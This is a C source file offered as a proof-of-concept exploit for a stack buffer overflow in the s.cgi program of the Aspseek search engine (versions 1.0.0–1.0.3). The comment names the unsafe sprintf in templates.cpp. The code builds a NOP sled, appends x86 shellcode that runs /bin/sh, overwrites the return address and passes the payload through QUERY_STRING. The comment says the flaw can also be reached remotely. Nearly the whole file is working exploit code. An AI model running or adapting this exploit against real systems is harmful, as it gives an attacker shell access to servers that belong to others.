/*
 * Aspseek v1.0.0 - 1.0.3 -Proof of Concept eXploit-
 * Tested on Redhat 7.0, Asplinux RC3 (v1.1)
 *
 * by:  NeilK (neilk@alldas.de/neil@alldas.de)
 *	http://neilk.alldas.de
 *
 * 	Local proof of concept buffer overflow exploit for s.cgi
 *	its not suid/sgid but it can be remote :)
 *
 *	Line #1228 - templates.cpp
 *		char* tmpl = token + 5;
 *		char tmplu[2000];
 *		sprintf(tmplu, "&tmpl=%s", tmpl)
 *
 * greetz: mjm, all @alldas.de
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define NOP 0x90
#define BUFSIZE 5148
#define OFFSET -200
#define RETURNS 2
 
unsigned char shellcode[] =
	"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
	"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

long get_sp () { __asm__ ("mov %esp, %eax"); }

int
main (int argc, char *argv[])
{
	char buffer[BUFSIZE];
	int i, offset;
	unsigned long ret;

	fprintf(stderr, "Aspseek v1.0.3 -Proof of Concept eXploit-\n");
	fprintf(stderr, "by neilk@alldas.de/neil@alldas.de\n");

	if (argc > 1)
    		offset = atoi(argv[1]);
  	else
    		offset = OFFSET;
  
  	memcpy(buffer, "q=a&tmpl=", 9);
  	for (i = 9; i < (BUFSIZE - strlen(shellcode) - (RETURNS*4)); i++)
    		*(buffer + i) = NOP;

  	memcpy (buffer + i, shellcode, strlen(shellcode));

  	ret = get_sp();

  	for (i = BUFSIZE - (RETURNS*4); i < BUFSIZE; i += 4)
    		*(long *) &buffer[i] = ret+offset;

  	buffer[BUFSIZE] = '\0';

  	fprintf(stderr, "[return address = %p] [offset = %d] [buffer size = %d]\n", ret + offset, offset, strlen(buffer));
 
  	setenv("QUERY_STRING", buffer, 1);
  
  	execl("./s.cgi", "s.cgi", NULL);
  	exit(1);
}
